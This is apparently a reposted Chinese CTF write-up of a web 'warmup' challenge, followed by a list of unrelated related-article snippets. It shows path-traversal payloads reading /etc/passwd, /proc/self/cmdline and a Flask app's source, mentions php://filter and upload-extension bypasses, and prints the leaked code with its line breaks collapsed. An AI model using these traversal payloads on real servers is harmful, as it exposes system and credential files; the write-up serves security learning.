【攻防世界】warmup

[HCTF 2018]WarmUp全网最详细解释_[hctf 2018]warmup的解-CSDN博客

 php://filter   读取源码(文件)

php://input  执行php代码,需要post请求提交数据

 Content-Type为image/jpeg        text.

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)

1.

知识点

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

随便点进一个,发现文件,可能存在任意文件读取漏洞(路径穿越漏洞),可以实现任意文件的读取。

如果一时半会不知道要读取什么,就先读linux系统都有的文件。

知识点

*  /etc/passwd

*  /etc/environment

*  /etc/hostname

*  /etc/hosts

?file=../../../../../etc/passwd 

发现读取成功,确定有漏洞。 

下一步是读取网站源码。

抓个包,发现服务器是python。既然是python,当前进程肯定是由python xxx.py启动的,只要能

知道当时的命令是什么,就能获取xxx.py的名字,进而读取源码。linux确实有这么个文件,

/proc/self/cmdline:用于获取当前启动进程的完整命令。

?file=../../../../proc/self/cmdline

 

大部分的python网站脚本名都是app.py。该网站使用Python框架,并且因为有app.py可知使用的是flask框架。 读取当前进程的命令行参数。?file=../../../../proc/self/cmdline。发现有一个通过python启动app.py的命令。所以该网站是一个python框架。根据app.py可以知道是flask框架。(该文件常常为flask项目结构中的主程序文件。)

尝试找到并读取app.py,在上一级目录中找到(该路径不是固定的)。读取到app.py的代码内容。

?file=../app.py

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import catflag = ""
app = Flask(__name__,static_url_path='/',static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"  # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"):  # 导入flag文件并删除掉flag = cat("/flag")os.remove("/flag")@app.route('/', methods=['GET'])
def index():detailtxt = os.listdir('./details/')cats_list = []for i in detailtxt:cats_list.append(i[:i.index('.')])return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])
def info():filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))@app.route('/admin', methods=["GET"])  # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=5637)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/819956.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Unity 实用工具篇】 | UIEffect 实现一系列UGUI特效,灰度、负片、像素化特效

前言 【Unity 实用工具篇】 | UIEffect 实现一系列UGUI特效,灰度、负片、像素化特效一、UGUI特效插件:UIEffect1.1 介绍1.2 效果展示1.3 使用说明及下载 二、组件属性面板三、代码操作组件四、组件常用方法示例4.1 使用灰度特效做头像(关卡)选择 总结 前…

03-JAVA设计模式-迭代器模式

迭代器模式 什么是迭代器模式 迭代器模式(demo1.Iterator Pattern)是Java中一种常用的设计模式,它提供了一种顺序访问一个聚合对象中各个元素,而又不需要暴露该对象的内部表示的方法。迭代器模式将遍历逻辑从聚合对象中分离出来…

IP地址归属地与旅游业应用

在当今数字化时代,IP地址归属地已成为许多行业的重要工具,其中包括旅游业。IP地址归属地是指将特定IP地址与其地理位置相关联的过程。在旅游业中,利用IP地址归属地可以提供多种应用,从客户定位到个性化推广,以及旅游数…

树--排序二叉树的删除

一、二叉排序树的删除 二叉排序树的删除情况比较复杂,有以下三种情况需要考虑。 删除叶子节点 (比如:2,5,9,10)删除只有一个子树的节点(比如:1)删除有两个子树的节点 (比如&#x…

YAPI第一次创建项目

黑马程序员JavaWeb开发教程 文章目录 1、添加项目2、添加分类3、添加接口 1、添加项目 2、添加分类 3、添加接口

数据结构:线性表————单链表专题

🌈个人主页:小新_- 🎈个人座右铭:“成功者不是从不失败的人,而是从不放弃的人!”🎈 🎁欢迎各位→点赞👍 收藏⭐️ 留言📝 🏆所属专栏&#xff1…

STM32的GPIO端口的八种模式解析

目录 STM32的GPIO端口的八种模式解析 一、上拉输入模式 二、下拉输入模式 三、浮空输入模式 四、模拟输入模式 五、推挽输出模式 六、开漏输出模式 七、复用推挽输出模式 八、复用开漏输出模式 STM32的GPIO端口的八种模式解析 在学习STM32的过程中,GPIO端口…

最全面的多语言同城送餐app开发流程解析

在当今数字化时代,随着移动互联网的普及和人们生活水平的提高,多语言同城送餐app开发成为各大企业争相布局的热门领域。本文将从专家的视角出发,为您详细解析最全面的多语言同城送餐app开发流程,助您在激烈的竞争中脱颖而出。 多…

使用colab进行yolov5小demo练习

输入一张动物的图片进行目标检测和分类 !pip install yolov5 import torch from PIL import Image from torchvision import transforms from yolov5.models.experimental import attempt_load from yolov5.utils.general import non_max_suppression# 加载YOLOv5模型 device …

婴儿专用洗衣机哪个牌子比较好?四款品质婴儿洗衣机暖心安利

科技让我们的生活变得方便了许多,比如,自从有了婴儿洗衣机之后,有些人就改变了宝宝衣物必须要手洗的想法,许多研究也证明,单靠手洗是无法将宝宝衣物彻底清洗干净的,一台专门的洗衣机就可以减轻我们的负担&a…

【MySQL笔记】InnoDB的插入缓存+非聚簇索引插入的离散性理解

文章目录 为什么需要插入缓存Insert Buffer非聚簇索引插入的离散性 Insert Buffer查看Insert Buffer信息 Insert Buffer的问题Change Buffer总结Reference 为什么需要插入缓存Insert Buffer 磁盘中的主键索引由于天然自增,无须磁盘的随机 I/O,只需不断追…

聚观早报 | 2024款蔚来ET7将发布;魏建军直播测试长城汽车

聚观早报每日整理最值得关注的行业重点事件,帮助大家及时了解最新行业动态,每日读报,就读聚观365资讯简报。 整理丨Cutie 4月16日消息 2024款蔚来ET7将发布 魏建军直播测试长城汽车 Redmi Turbo 3开启销售 华为P系列正式升级为华为Pura…

数据采集1688官方API商品数据采集1688官方商品详情数据返回|电商API接口数据采集

随着全球经济一体化和电子商务的快速发展,网络购物的需求日益增加。不断涌现的电商企业使得行业的竞争情况愈演愈烈。在这种情况下,企业不仅要加大经营力度,还要在自己的基础设施和技术上持续投入,才能更好的适应市场和消费习惯。…

开春运动正当时,谨防这些运动损伤,别让“健身”变“伤身”

春季运动正当时 运动损伤需警惕 科学运动 快乐加倍 天气回升,春暖清明 户外运动爱好者纷纷复出 但要注意的是 春季是运动受伤的高发季 因为经过寒冷冬季的“运动低潮期”,身体各器官的季节活跃性较低,运动方式和强度不合适很容易导致身体…

C++(运算符重载+赋值拷贝函数+日期类的书写)

目录 运算符重载运算赋值重载和运算赋重载前置和后置<,<,>,>,,!运算符重载日期类的实现<<流插入和>>流提取的运算符重载总结 运算符重载 C为了增强代码的可读性引入了运算符重载&#xff0c;运算符重载是具有特殊函数名的函数&#xff0c;也具有其 返回…

(最新)华为 2024 届实习招聘-硬件通⽤/单板开发——第十一套和十二套

&#xff08;最新&#xff09;华为 2024 届实习招聘-硬件通⽤/单板开发——第十一套和十二套 部分题目分享&#xff0c;完整版带答案(有答案和解析&#xff0c;答案非官方&#xff0c;未仔细校正&#xff0c;仅供参考&#xff09;&#xff08;共十套&#xff09;获取&#xff…

【软考】设计模式之命令模式

目录 1. 说明2. 应用场景3. 结构图4. 构成5. 优缺点5.1 优点5.2 缺点 6. 适用性7.java示例 1. 说明 1.命令模式&#xff08;Command Pattern&#xff09;是一种数据驱动的设计模式。2.属于行为型模式。3.请求以命令的形式被封装在对象中&#xff0c;并传递给调用对象。4.调用对…

Win10 启动时数字键盘不亮怎么办?

首先&#xff0c;按住winr 运行 windows 运行框&#xff0c;输入regedit 打开注册表编辑器 1.查找current_user选项下的Control Panel 中的keyboard 点击八initialkeyboard 值设置成2&#xff0c;如图所示即可。2.选择hkey_user 中的。default 下的control Panel 选项下的keyb…

工作中用Redis最多的10种场景

作者&#xff1a;苏三说技术 链接&#xff1a;https://juejin.cn/post/7325132133168971813 前言 Redis是一种非常优秀的基于KV的键值对缓存数据库&#xff0c;有非常不错的性能和稳定性&#xff0c;无论是在工作中&#xff0c;还是在面试中&#xff0c;都经常会出现。因此&am…

UC网盘、迅雷网盘拉新如何做?热门拉新项目盘点

迅雷网盘拉新项目&#xff1a; ​关键词链接 双重拉新模式&#xff1a;可以通过链接、关键词两种方式进行推广&#xff0c;匹配不同拉新场景。 网盘功能齐全&#xff1a;作为老牌网盘产品&#xff0c;功能强大&#xff0c;使用体验好&#xff0c;支持不同格式文件。 不限推广…